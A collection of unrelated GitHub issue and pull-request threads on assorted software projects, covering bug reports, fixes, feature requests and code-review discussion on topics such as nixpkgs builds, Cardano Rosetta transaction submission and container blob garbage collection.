@urjit0204 can you reproduce your issue in a codesandbox?  AFAICT, the only way to reproduce the behavior is to define the ValueEditor component within the App component, as I described above and in this codesandbox.

@jakeboone02
I looked at the workaround you told. I moved my ValueEditor component out to main component and it works.
But in my case I need to send some extra props to ValueEditor component. e.g. singlevalue/multivalue input or view/create/edit mode.
How we can achieve that? If I try closure using arrow function or  bind(), same problem again persists.
for reference: codesandbox

@amitdhiman000 I believe I've fixed your issue with this codesandbox. You can pass arbitrary parameters in through the fieldData prop. Just add the parameters to the fields array objects and they will be passed through to the ValueEditor.

@jakeboone02
This solution will work for the fields.
how about  +Rule +Group,  buttons. I wanted to show these button in disabled state.
Can't we add some extra props to QueryBuilder itself, which will be available in all callbacks.

@amitdhiman000 that's a good idea.  I'll close this ticket and put something together for a way to pass arbitrary props to the custom components.

@amitdhiman000 your idea was implemented in v3.9.0 as a context prop which can contain anything (it's type any) and will be passed to all custom components.

@jakeboone02
that is great news. I appreciate your efforts.
Thanks you.


Folder structure

If this generator is self entitled "A rock-solid foundation to build mobile apps" them why is the folder structure so poor? Dividing the project by file type is a bad practice for large projects.
Why don't you make the project divided by feature instead?

More information is here: https://github.com/mwaylabs/generator-m-ionic/issues/289
TL;DR - We see the point. The folder structure originates from a time where none of the guidelines were established. It's historically grown but now we're investing our time in a version for angular 2 / ionic 2 adhering to the guidelines.


update previous flaky naive engine test

Description
update flaky test reported in https://github.com/apache/incubator-mxnet/issues/15414
fixes #15414
Checklist
Essentials
Please feel free to remove inapplicable items for your PR.

[ ] The PR title starts with [MXNET-$JIRA_ID], where $JIRA_ID refers to the relevant JIRA issue created (except PRs with tiny changes)
[ ] Changes are complete (i.e. I finished coding on this PR)
[ ] All changes have test coverage:
Unit tests are added for small changes to verify correctness (e.g. adding a new operator)
Nightly tests are added for complicated/long-running ones (e.g. changing distributed kvstore)
Build tests will be added for build configuration changes (e.g. adding a new build option with NCCL)
[ ] Code is well-documented:
For user-facing API changes, API doc string has been updated.
For new C++ functions in header files, their functionalities and arguments are documented.
For new examples, README.md is added to explain the what the example does, the source of the dataset, expected performance on test set and reference to the original paper if applicable
Check the API doc at http://mxnet-ci-doc.s3-accelerate.dualstack.amazonaws.com/PR-$PR_ID/$BUILD_ID/index.html
[ ] To the my best knowledge, examples are either not affected by this change, or have been fixed to be compatible with this change

Changes

[ ] Feature1, tests, (and when applicable, API doc)
[ ] Feature2, tests, (and when applicable, API doc)

Comments

If this change is a backward incompatible change, why must this change be made.
Interesting edge cases to note here

@mxnet-label-bot add [Flaky, test]

@apeforest Can you help me merge? Thanks!

LGTM! Add "fixes #issue_number" to description
So that once its merged, issue gets auto closed.

Added! Thanks!

LGTM! Add "fixes #issue_number" to description
So that once its merged, issue gets auto closed.

Added! Thanks!

Oh adding that started another round of testing😂


⚠ SceneTime has degraded performance

In 9d2d5aa, SceneTime ($ST) experienced degraded performance:

HTTP code: 200
Response time: 22086 ms

Resolved: SceneTime performance has improved in c636d59 after 5 minutes.


UI does not handle well a string with "&para"

When I type a string like this:
"/System/event_handlers/event_action_policy?target=src_vm&policy_event=vm_poweroff&param="

in UI, it shows up like this:

@miq-bot label ui, bug
@miq-bot assign @h-kataria

@lfu, can you provide steps to recreate.

@h-kataria Go to any automate instance where you can edit, like /system/process/event, just type in any text field a string like "/System/event_handlers/event_action_policy?target=src_vm&policy_event=vm_poweroff&param=".

@lfu It looks like value is being saved correctly but not being displayed properly

BZ link - https://bugzilla.redhat.com/show_bug.cgi?id=1255485

@h-kataria Right, it is just a display issue.

fixed by #4636

@lfu please close this issue


feat: Adds HotChocolate

Pre-submission checklist:
Please check each of these after submitting your pull request:

[ ] Are you only including a repo_url if your project is 100% open source? If so, you need to pick the single best GitHub repository for your project, not a GitHub organization.
[ ] Is your project closed source or, if it is open source, does your project have at least 250 GitHub stars?
[x] Have you picked the single best (existing) category for your project?
[x] Does it follow the other guidelines from the new entries section?
[x] Have you included a URL for your SVG or added it to hosted_logos and referenced it there?
[ ] Does your logo clearly state the name of the project/product and follow the other logo guidelines?
[ ] Does your project/product name match the text on the logo?
[x] Have you verified that the Crunchbase data for your organization is correct (including headquarters and LinkedIn)?
[ ] ~10 minutes after opening the pull request, the CNCF-Bot will post the URL for your staging server. Have you confirmed that it looks good to you and then added a comment to the PR saying "LGTM"?

cc @michaelstaib

Build failed because of:
no headquarter addresses for hotchocolate at https://www.crunchbase.com/organization/hotchocolate


egoplan_action_recognition

Hi，where is the egoplan_action_recognition dataset?

Sorry for the late reply. We use the action narrations from the original egocentric video dataset to automatically construct this dataset. The action narrations are also included in the "task_progress_metadata" field of each sample in our EgoPlan_IT data. You can easily derive the "egoplan_action_recognition" dataset following the Section 5.1 of our paper using these action narrations.


Fix DLQ flake

Separates queue and policy reconciliation to prevent a race condition on RMQ server.

/kind bug
Fixes #792

Just a comment but seems good to me

/lgtm


Install Error

What is the purpose of your issue?

[X ] Bug
[ ] Feature Request
[ ] Question
[ ] Other

Description

Cant install spotdl using pip or using setup.py
Log

root@ben-Inspiron-3558:/home/ben/Desktop# pip install spotdl
Collecting spotdl
Using cached https://files.pythonhosted.org/packages/9a/6d/b66a58f08890965f4afb94bc3738624407328fc12c081697ac18537d0446/spotdl-0.9.3.tar.gz
Complete output from command python setup.py egg_info:
Traceback (most recent call last):
File "", line 1, in
ImportError: No module named setuptools
----------------------------------------

Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-uUxcAk/spotdl

That's not a bug in spotify-downloader... Just install setuptools using pip, and next time please spend a few minutes and just search for the error message before wasting some maintainer's time. Thank you.


Always On Mode

Rather than running from cron, we should have a way of running all the time. This would provide for alternate light configurations that don't rely on music to update lights. For example, it would be useful to only play songs at the top of the hour, but leave the lights on at the conclusion of the playlist (or configured subset of the playlist) and the only way to do that is to leave the process running and ensure the GPIO pins stay high

Somewhat wrong here: if you don't explicitly set the GPIO pins to low, they will stay in whatever state the song left them in. In other words, we don't need to run anything. A quick hack to get this up and running is to start a new show in cron, and ensure there are pre and post-cleanup scripts to set all the pins high so the lights stay on the rest of the time.


Create a system to join loaded javascript libs in one file

Make it simple enough.

remove minified versions of libs to include
make scripts.php an index to control what gets included and what not. And output the result

Concatenate the included files (OSEA_CONCATENATE_JS option to functions.php)
Minify files or the concatenated output (OSEA_MINIFY_JS option to functions.php)

I also entertain the idea of using scripts.php as a tool to compile the final scripts.js instead of being used as a live wrapper for dynamic compilation. I wonder what the speed difference would be.

Related: #32 This will be fixed after the build tool #33 is properly configured


Iterating on Unit 2 content

⚠ WIP: Do NOT merge yet ⚠
@mottaquikarim

👍 MUCH better sentence

@mottaquikarim pinging you as this is no longer a WIP, so feel free to review it and let me know if it's green to merge!

@bensussman reviewed! In general this is looking really great. I voiced some questions and concerns I had, but overall awesome 👍 🔥


[21.11] python3Packages.scikit-learn: fix compatibility with openblas 0.3.18

Motivation for this change
Fix build failure in python3Packages.scikit-learn on nixos-21.11.
Closes #153202
Different versions of openblas can yield slightly different results, which can cause scikit-learn tests to fail and cause a build failure. Issue was fixed in https://github.com/scikit-learn/scikit-learn/issues/21340
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg build python3Packages.scikit-learn


Multiple label axis for single series

I'd love to have a second labeling axis for a single series.

See the picture above. I'd like to keep the label "maria" but have a second axis where i can label the red and blue column individually.
Like this:

I am using

Live-Charts version
0.9.7

.Net Version
4.6.2

Windows
10

This would be a new feature, possibly related with #595


equal objects in loop

if you use random.nextObject in a loop after a while it creates equal object. for example after 1000 time.

That is by design. See http://www.gitterforum.com/discussion/benas-random-beans?page=7  for more information. I'm closing this issue because it duplicates https://github.com/benas/random-beans/issues/182.


Does not work on iOS;

I have problems trying to implement this plugin on IOS, all attempts I made were unsuccessful, on android works!
I tried to start this plugin without media, with video, with audio, both situations realize that it is the webview that creates the controls and not the plugin, the next and back controls are always disabled! I can't manipulate these controls created by webview? Or is there a way to replace these controls with this plugin?

HI,
It works perfectly fine for android but im not able to reproduce the same in IOS13. im getting an error as:

2020-02-03 12:26:40.340707+0100 MyApp[97946:801552] *** Assertion failure in -[MPRemoteCommand addTarget:action:], /BuildRoot/Library/Caches/com.apple.xbs/Sources/MediaPlayer_Sim/MobileMusicPlayer-4017.200.33/SDK/MPRemoteCommand.m:134
2020-02-03 12:26:40.448833+0100 MyApp[97946:801552] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'Unsupported action method signature. Must return MPRemoteCommandHandlerStatus or take a completion handler as the second argument.'

Any idea why im getting this error?
Thanks in advance :)

HI,
It works perfectly fine for android but im not able to reproduce the same in IOS13. im getting an error as:

2020-02-03 12:26:40.340707+0100 MyApp[97946:801552] *** Assertion failure in -[MPRemoteCommand addTarget:action:], /BuildRoot/Library/Caches/com.apple.xbs/Sources/MediaPlayer_Sim/MobileMusicPlayer-4017.200.33/SDK/MPRemoteCommand.m:134
2020-02-03 12:26:40.448833+0100 MyApp[97946:801552] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'Unsupported action method signature. Must return MPRemoteCommandHandlerStatus or take a completion handler as the second argument.'

Any idea why im getting this error?
Thanks in advance :)

same problem i think, the control not working on ios. there is a possibility of a new working release?

Hi @marcorubagotti
I was able to solve the issue and I have my own code in my rep, which is a fork of main repo and it works perfectly fine for both android 10 and ios 13. I would suggest you try that plugin.

cordova plugin add  https://github.com/Ekaanth/cordova-music-controls-plugin
You can also check my repo :)

Thanks

can you tell how can i install this plugin in my project as i did the Music_controls using npm but i can't do that with this. i'm new to this and need some help

can you tell how can i install your version in my project as i did the music-controls using npm and having same error as yours but i can't install with npm . i'm new to this and need some help. should i simply copy paste the files in already installed plugin?

As I have said you can use 'cordova pugin add https://github.com/Ekaanth/cordova-music-controls-plugin' this command to add my plugin and if you check in your package.json you should have my repo URL.

ahh thanks

Mine was not showing at all on IOS, only on Android. I was using cordova-media-plugin to play. My fix was to edit the media plugin and add withOptions: 0 to the audio session, then it appeared! ...
AVAudioSession *session = [AVAudioSession sharedInstance];
[session setCategory:AVAudioSessionCategoryPlayback withOptions:0 error:nil];


Maistra images for arm64

Currently maistra does not publish other platform images like arm64.
For example, I looked at https://hub.docker.com/r/maistra/proxyv2-ubi8 but could not see any other arch except for amd64.
We would like to request publish arm64 or other architecture images.

Closing this as we don't use GitHub issues. If you encounter a bug, please file an issue on our Red Hat JIRA

Closing this as we don't use GitHub issues. If you encounter a bug, please file an issue on our Red Hat JIRA

Alright. Opened https://issues.redhat.com/browse/MAISTRA-2108

Alright. Opened https://issues.redhat.com/browse/MAISTRA-2108


is this repository dead?

For half a year, no single commit ?

I am in hospital, coming back next week.
On Thu, 6 Jun 2019 at 10:52, Dominik<EMAIL_ADDRESS>wrote:

For half a year, no single commit ?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/bleenco/ngx-uploader/issues/494?email_source=notifications&email_token=AANWPNQSGYJ5N6YSQY6S2E3PZDF6FA5CNFSM4HU6YIL2YY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4GX63ABA,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AANWPNQ2WRHDMMTETHPLQLDPZDF6FANCNFSM4HU6YILQ
.

Sorry to read that :( Get well soon!


Unable to access Magic wand

Need to use the magic wand tensorflow lite repository but the access is denied. Please check out the issue thanks.

The magic wand example was deleted at commit bef8fe8bc6183cc4e1ce852579abcb7a171f8a5c, see issue #1851.

@sumbalakram
try
https://github.com/tensorflow/tflite-micro-arduino-examples/tree/main/examples/magic_wand
not sure if it will help.


DLQ support in RunInference

Adds support for use_exception_handling in RunInference. We don't get this for free because use_exception_handling is a function on ParDo, not on PTransform (which is the superclass of RunInference)
Fixes #24209

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Mention the appropriate issue in your description (for example: addresses #123), if applicable. This will automatically add a link to the pull request in the issue. If you would like the issue to automatically close on merging the pull request, comment fixes #<ISSUE NUMBER> instead.
[x] Update CHANGES.md with noteworthy changes.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.
To check the build health, please visit https://github.com/apache/beam/blob/master/.test-infra/BUILD_STATUS.md
GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

Run Python_Coverage PreCommit


unable to install pillow from openai's universe

Please use the following bug reporting template to help produce actionable and reproducible issues. Please try to ensure that the reproduction is minimal so that the team can go through more bugs!

A brief description
I am trying to run openai's universe on WSL. But while installing the dependencies I faced an error. You may refer to its github repo, https://github.com/openai/universe

Expected results
I don't know the expected results because I am running this for the first time.

Actual results (with terminal output if applicable)
There were many packages installed. Among them was pillow. Following was the error in WSL which I got
Downloading/unpacking Pillow (from universe==0.20.4)
Downloading Pillow-3.4.2.tar.gz (10.8MB): 7.8MB downloaded
Cleaning up...
Exception:
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/pip/basecommand.py", line 122, in main
status = self.run(options, args)
File "/usr/lib/python2.7/dist-packages/pip/commands/install.py", line 278, in run
requirement_set.prepare_files(finder, force_root_egg_info=self.bundle, bundle=self.bundle)
File "/usr/lib/python2.7/dist-packages/pip/req.py", line 1198, in prepare_files
do_download,
File "/usr/lib/python2.7/dist-packages/pip/req.py", line 1376, in unpack_url
self.session,
File "/usr/lib/python2.7/dist-packages/pip/download.py", line 572, in unpack_http_url
download_hash = _download_url(resp, link, temp_location)
File "/usr/lib/python2.7/dist-packages/pip/download.py", line 433, in _download_url
for chunk in resp_read(4096):
File "/usr/lib/python2.7/dist-packages/pip/download.py", line 421, in resp_read
chunk_size, decode_content=False):
File "/usr/share/python-wheels/urllib3-1.7.1-py2.py3-none-any.whl/urllib3/response.py", line 225, in stream
data = self.read(amt=amt, decode_content=decode_content)
File "/usr/share/python-wheels/urllib3-1.7.1-py2.py3-none-any.whl/urllib3/response.py", line 174, in read
data = self._fp.read(amt)
File "/usr/lib/python2.7/httplib.py", line 602, in read
s = self.fp.read(amt)
File "/usr/lib/python2.7/socket.py", line 380, in read
data = self._sock.recv(left)
File "/usr/lib/python2.7/ssl.py", line 341, in recv
return self.read(buflen)
File "/usr/lib/python2.7/ssl.py", line 260, in read
return self._sslobj.read(len)
SSLError: The read operation timed out

Storing debug log for failure in /home/vaidyalabs/.pip/pip.log

Your Windows build number
Windows 10 pro 1607

Steps / All commands required to reproduce the error from a brand new installation
Following is the process given on universe's README. Since my WSL has ubuntu 14.04, I used corresponding commands,

Install Universe
To get started, first install universe:
git clone https://github.com/openai/universe.git
cd universe
pip install -e .
If this errors out, you may be missing some required packages. Here's the list of required packages we know about so far (please let us know if you had to install any others).
On Ubuntu 16.04:
pip install numpy
sudo apt-get install golang libjpeg-turbo8-dev make
On Ubuntu 14.04:
sudo add-apt-repository ppa:ubuntu-lxc/lxd-stable  # for newer golang
sudo apt-get update
sudo apt-get install golang libjpeg-turbo8-dev make

Strace of the failing command

Required packages and commands to install
numpy
golang
golang libjpeg-turbo8-dev

See our contributing instructions for assistance.

Also how to give permissions to WSL username to read/write the home directory of WSL?

Hi again @hiteshvaidya -- I'm curious, if you retry this a few times, will it eventually work?
There are some known network bugs in the release that you are running, at least one of which ( #610 ) will sometimes cause network sends to hang, which would could cause an error message like the one that you are seeing.
We're told that Microsoft has the fix in-house and is working on releasing it as part of an Insider build.  In the meantime, all you can do is either retry the download, or download the file in Windows and access it from WSL and install it manually.

Regarding "the home directory of WSL" -- what directory are you referring to?  Do you mean the /home/<username>/ directory in the Linux filesystem?  Your default WSL (Linux) user should automatically have full read/write/execute access to that directory.


Transaction created with 2.2.5+v9 is not being accepted

Summary
Creating a transaction with rosetta construction preprocess, metadata, input works but when I try to submit to /construction/submit it fails with:
{"code":5006,"message":"Error when sending the transaction","retriable":true,"details":{"message":"Error: Command failed: transaction submit  Error: Failed to decode the ledger's CDDL serialisation format.
Steps to reproduce the bug

Create a transaction using preprocess/metadata/input from rosetta interface
sign it
try to submit to /construction/submit

Actual Result
{"code":5006,"message":"Error when sending the transaction","retriable":true,"details":{"message":"Error: Command failed: transaction submit  Error: Failed to decode the ledger's CDDL serialisation format. TextEnvelopeCddl error: /tmp/7e21773e-4ec2-45b4-858d-4902c604b11d: TextEnvelopeCddl type error:  Expected one of: Witnessed Tx ShelleyEra, Witnessed Tx AllegraEra, Witnessed Tx MaryEra, Witnessed Tx AlonzoEra, Witnessed Tx BabbageEra, Witnessed Tx ConwayEra, Unwitnessed Tx ByronEra, Unwitnessed Tx ShelleyEra, Unwitnessed Tx AllegraEra, Unwitnessed Tx MaryEra, Unwitnessed Tx AlonzoEra, Unwitnessed Tx BabbageEra, Unwitnessed Tx ConwayEra Actual: TextEnvelopeType "Tx AlonzoEra""}}%
Expected Result
Transaction to be accepted and broadcasted as it happens in the old node/rosetta.
Environment
v9.0.0 cardano
v2.2.5 rosetta
Platform

[X] Linux (Ubuntu)
[ ] Linux (Other)
[ ] macOS
[ ] Windows

Platform version
No response
Docker version
No response

Hello,
we haven't upgraded Rosetta to Node 9.0, since it has a dependency to db-sync. This will be the issue, since Rosetta is submitting transaction through the cardano-cli. The cli will be updated in the process as well.
I'll keep you updated, when I'm done upgrading.

@Kammerlo just to be sure but the plan is to have this updated before 9.0 is enabled in mainnet, right?

@mbratfisch-bc correct, there will be a new Rosetta release which is compatible with node 9.x in the near future. As Thomas mentioned, there is a dependency on db-sync - which is still pending release at the moment.
I presume you are using this in an exchange environment? If you want, we have dedicated channels with all exchanges where we have a team to support you with your questions and also send out updates in regards to these releases. Does that sound like something you want?

@mbratfisch-bc we are nearly ready, the current upgrade progress can be seen within this PR: https://github.com/cardano-foundation/cardano-rosetta/pull/564
We will build a new release as soon as we merged it to main

@Kammerlo seems the problem is still there, just tried executing a new transaction and I get:
Error: Command failed: transaction submit  Error: Failed to decode the ledger's CDDL serialisation format. TextEnvelopeCddl error: /tmp/b627c735-84c5-4134-9582-8fc77821d8c9: TextEnvelopeCddl type error:  Expected one of: Witnessed Tx ShelleyEra, Witnessed Tx AllegraEra, Witnessed Tx MaryEra, Witnessed Tx AlonzoEra, Witnessed Tx BabbageEra, Witnessed Tx ConwayEra, Unwitnessed Tx ByronEra, Unwitnessed Tx ShelleyEra, Unwitnessed Tx AllegraEra, Unwitnessed Tx MaryEra, Unwitnessed Tx AlonzoEra, Unwitnessed Tx BabbageEra, Unwitnessed Tx ConwayEra Actual: TextEnvelopeType ""Tx AlonzoEra"

Sorry for the delay, I will start working on it today. I'll keep you updated about the progress.
Thanks for your patience!

@mbratfisch-bc we got a fix and tested it on preview. Could you check if it fixes your problem? We want to be sure before we merge it into master.
https://github.com/cardano-foundation/cardano-rosetta/pull/569

Seems to fix, yeah.


qmmp: switch from ffmpeg_3 to ffmpeg

Motivation for this change
Ref. issue #120705.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 120771 at 27e8279a run on x86_64-linux 1

1 package built successfully:

qmmp

1 suggestion:

warning: unclear-gpl
gpl2 is a deprecated license, please check if project uses gpl2Plus or gpl2Only and change meta.license accordingly.
Near pkgs/applications/audio/qmmp/default.nix:57:5:
   |
57 |     license = licenses.gpl2;
   |     ^

License should be gpl2Plus.

Done.


add Charles' 2023-05-05 session

@charlesroddie, here's the draft for your session.
Please let us know if the content and date is okay for you.

I asked Charles on Slack:


add spanish translation

que pasoo?

Lo sentimos mucho!
We have moved the template work to a fork, and will need this PR moved over there... 😬
There are also additional components in the new fork that will require more translation. We can move this work over there for you in a new PR if you'd like.
https://github.com/searchspring/snap-1.0


Updating documentation on REST services does not work

When updating the documentation for a REST service I'm able to edit and save the global description, but unable to edit and save any of the individual GET / Collection / Entity documentation entries. It states that it has saved but does not update

Should be fixed last release

This repository has been closed and moved to laminas-api-tools/api-tools-documentation; a new issue has been opened at https://github.com/laminas-api-tools/api-tools-documentation/issues/13.


Separate gender from gender identity or expression

The geek feminism code of conduct does this (http://geekfeminism.org/about/code-of-conduct/) and I think it helps clarify. I've also moved gender up in the list since it's a big issue right now.

Agreed, thanks @leah


✨ 💄 Adding Favicons based on Laravel.io speech box

Not sure happy with how this came out, but without a proper square logo it may be hard to find something to work well at that small size. Likely looks better on retina devices/mobile than in a desktop browser tab.
Potential solution for #10

Heya! This is a good idea. Until we have a new logo this will serve fine.
But I think we can improve one thing. Atm. the image you sent in will indeed look a little quirky in a browser tab because it's rectangle. In the old forum we did have a favicon which was square. It's still cached on my side so I managed to take a screenshot of it:

Do you think you can perhaps update the favicons you sent in to have them look like the square version from the screenshot?

Code changes complete, and pushed new versions of a zoomed "IO" logo.

Awesome work man! If you're up for it, you can send the exact same changes to the portal repo. If not, no worries, I'll open up an issue or do the changes myself :)

Will do


Fix: Postpone gcUnusedInitObjects in volumeMgr to fix missing blobs.

Issue: Blob not found after reboot.
Reason: The bare blobs are protected from containerd's GC by the manifest blob that we add. But on reboot, gcBlobStatus() was called before EVE incremented Refcount for the manifest blob, which led to EVE deleting the manifest blob, which opened up the bare blob for containerd's GC and was deleted.
Here is the flow that led to this issue:

We loaded a bare blob, let's call it sha256:123
We created manifest blob sha256:456 and a config blob sha256:789 for the bare blob and loaded it into ctrd
Rebooted the device
After the device rebooted, new BlobStatus was created for sha256:123, sha256:456 and sha256:789 with RefCount = 0
Volumemgr receives the contentTreeStatus for the bare blob sha256:123 and increments it's RefCount to 1
gcBlobStatus() was called and volumemgr deletes sha256:456 and sha256:789 because they have  RefCount = 0
getManifestsForBareBlob() was called for sha256:123 and we see that it doesn't have a manifest and config (because it was deleted in the previous step) and we create it.

So at this point, we have BlobStatus for all 3 blobs (bare, manifest and config) but the bare blob is deleted from containerd. So if any appInstance using that contentTreeStatus is purged or is created newly, then we will see blob not found error.
Fix: We need to postpone gcBlobStatus() to the point where after reboot we have handled all bare blobs along with it's manifest and config blob.
Also, fixed the issue where in case if we find manifest blob to be present, we weren't checking for config blob which led to config blob being GC'd by EVE because of Refcounf = 0. And we deleted images from containerd only if contentTreeStatus belonged to a container image, fixed that as well.
cc @deitch
Signed-off-by: adarsh-zededa<EMAIL_ADDRESS>

This is a nice bit of detective work @adarsh-zededa .
Let me see if I understand it. Normally, on reboot, we:

create a BlobStatus for every blob we find in containerd, but give them RefCount=0
have volumemgr go through all of its ContentTreeStatus, thus updating the RefCount for any blobs that are in a content tree
garbage collect any blob whose RefCount=0 (this is a regular activity anyways)

Because of that, the original "bare" blob gets RefCount=0, but the generated manifest and config do not. This leads to deleting the manifest, which removes the GC prevention tag from the actual layer, which gets garbage-collected by containerd.
If that is correct, the part I don't get is that we sometimes actually do have a manifest and a config, along with an image pointing to it. Is that because volumemgr then tries to load the content-tree again, finds the BlobStatus for the bare blob, and so sees no need to reload it, but does re-create the manifest and config? i.e. do all three get deleted, but the manifest and config get re-created after?
If so, when is this "after" recreation stage?
 Why wouldn't we rely on image removal, which will lead to containerd garbage collecting them?

it sort of begs the question: should we ever delete content directly? Why wouldn't we rely on image removal, which will lead to containerd garbage collecting them?

@deitch you mean rely on seeing a ContentTree  being deleted by the controller?
That happens as long as the device never reboots. However, if a ContentTree is deleted on the controller while the device is rebooting, the device (and volumemgr in particular) will not see any delete notification since nothing was there to delete in pubsub (however, the artifacts from the ContentTree exists in /persist/). Thus we currently do some GC of contenttrees and volumes to handle such case.
[I just realize we could in theory remove those special cases if on device reboot we always have zedagent start with the checkpoint protobuf message from /persist/checkpoint/lastconfig and then connect to the controller. But that would result in other potential issues when the protobuf usage transitions which would make our heads hurt.]

you mean rely on seeing a ContentTree being deleted by the controller?

I meant the other way around. We often pull a config, which contains all app instances and hence all content trees. If a content tree disappears, delete the image root, which in turn deletes all of its dependent blobs.

Because of that, the original "bare" blob gets RefCount=0, but the generated manifest and config do not. This leads to deleting the manifest, which removes the GC prevention tag from the actual layer, which gets garbage-collected by containerd.
If that is correct, the part I don't get is that we sometimes actually do have a manifest and a config, along with an image pointing to it. Is that because volumemgr then tries to load the content-tree again, finds the BlobStatus for the bare blob, and so sees no need to reload it, but does re-create the manifest and config? i.e. do all three get deleted, but the manifest and config get re-created after?

@deitch the reason "bare" blobs got removed by Containerd was because gcBlobStatus() got called before  getManifestsForBareBlob() was called for a ContentTreeStatus. When getManifestsForBareBlob() was called eventually, it noticed that there was no manifest and config blob for the "bare" blob and creates a new one.

If that is correct, the part I don't get is that we sometimes actually do have a manifest and a config

Because we recreate them which can be seen by noticing the create time.

do all three get deleted, but the manifest and config get re-created after?

That is exactly what happened :). But EVE still had the blobStatus for the bare blob.

If so, when is this "after" recreation stage?

Reference's hash will be updated to the newly created manifest's hash and the rest of the flow continues as expected.

Finally, the proposed fix: is this basically to defer the garbage collection until all of the layers and configs and bare blobs and everything have been fully sync'ed up?

Yes

it sort of begs the question: should we ever delete content directly? Why wouldn't we rely on image removal, which will lead to containerd garbage collecting them?

I can test this. Will create a story for this and take it up later on.


Don't add default client flags in client-go to pflags

What this PR does / why we need it:
Controller SDKs add the master and kubeconfig flags very often by
default. Our client added it too by default. Stop doing this, to avoid
flag conflicts.
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #2368
Special notes for your reviewer:
Release note:
Don't add default pflags in kubevirt.io/client-go to allow integration with operator sdks which add it too.

@masayag that should finally allow the integration with the operator sdk. Note that you will have to vendor kubevirt.io/client-go after this is merged. You will not vendor kubevirt.io/kubevirt.

/lgtm

@rmohr some unit tests seem to be broken

/lgtm

@rmohr Can you please check unit test failure
•... Timeout [5.001 seconds]
VirtualMachineInstance Subresources
/root/go/src/kubevirt.io/kubevirt/pkg/virt-api/rest/subresource_test.go:51
  Subresource api
  /root/go/src/kubevirt.io/kubevirt/pkg/virt-api/rest/subresource_test.go:89
    Should pass client websocket io to server SPDY io [It]
    /root/go/src/kubevirt.io/kubevirt/pkg/virt-api/rest/subresource_test.go:259
    Timed out
    /root/go/src/kubevirt.io/kubevirt/pkg/virt-api/rest/subresource_test.go:259

/lgtm

let's wait for CI

@cynepco3hahue it is broken :)
/hold

@rmohr Fixed:)

/lgtm

/hold cancel

/approve


Make enforcing memory restrictions via ulimit optional

This is done via a new boolean parameter "cluster_memory_ulimit".
Use of ulimit is problematic with some cluster configurations (e.g. SLURM) and not necessary if memory is already controlled with the queue manager (as can be done with e.g. SLURM).

Great, many thanks.
Best regards,
Sebastian


Add infra for ab_testing lambda@edge

Ref #3631
After hassling around with the cache for ages, I thought, surely we could use a lmabda for this.
Turns out it's a pretty standard way as you can have lambdas @ edge (before the cache).
It feels like this would be a way more sustainable solution to A/B testing, and breaks from using subsiderary services (unleash).
It also seems to be quite common.
Here's a flow of cookies / headers: https://docs.google.com/drawings/d/1053dECKDOsVwIAUqtq-Q5N6DEJJ7TmYIW-mu3_TtpgI/edit?usp=sharing

@wellcometrust/experience-dev out of Spike.


Update ood matlab role to fit cheaha environment

Update submit script
Update launching script
Update version list
Update partition list
Update slurm job name to include version

This looks good.Tested the form loads with the prod-specific env.


simdec.tableau function modifies states argument

Raising as part of JOSS review openjournals/joss-reviews/issues/6713
Currently the simdec.tableau function modifies the states list argument passed to the function in the for loop in lines
https://github.com/Simulation-Decomposition/simdec-python/blob/da28df6c981d5ac45f843a4b96fbfd227ed6604f/src/simdec/visualization.py#L228-L234
This results in a cryptic TypeError: slice indices must be integers or None or have an __index__ method error if calling simdec.palette subsequently on the same states argument, for example (running from root of repository)
import numpy as np
import pandas as pd
import simdec as sd

data = pd.read_csv("tests/data/stress.csv")
output_name, *variable_names = list(data.columns)
inputs, output = data[variable_names], data[output_name]
sensitivity_analysis_result = sd.sensitivity_indices(inputs=inputs, output=output)
decomposition_results = sd.decomposition(
    inputs=inputs,
    output=output,
    sensitivity_indices=sensitivity_analysis_result.first_order
)

table, styler = sd.tableau(
    var_names=variable_names,
    statistic=decomposition_results.statistic,
    states=decomposition_results.states,
    bins=decomposition_results.bins,
    palette=sd.palette(decomposition_results.states)
)

sd.palette(decomposition_results.states)

Thanks, good catch. Should be fixed with d0a3fb55d22694eab9ca48ebe4f991050ff43e20


UAT | Scrutiny | Update Case Details

As per scope, litigant/advocate can only edit fields that are marked as errors by FSO.
The following fields, irrespective of errors still appear editable:

document Uploads
Respondent Type (Individual/Entity)
All address fields
Optional fields skipped by user
Whether user is willing to settle via ADR
Memorandum of Complaint
Prayer and Sworn statement
Advocate details
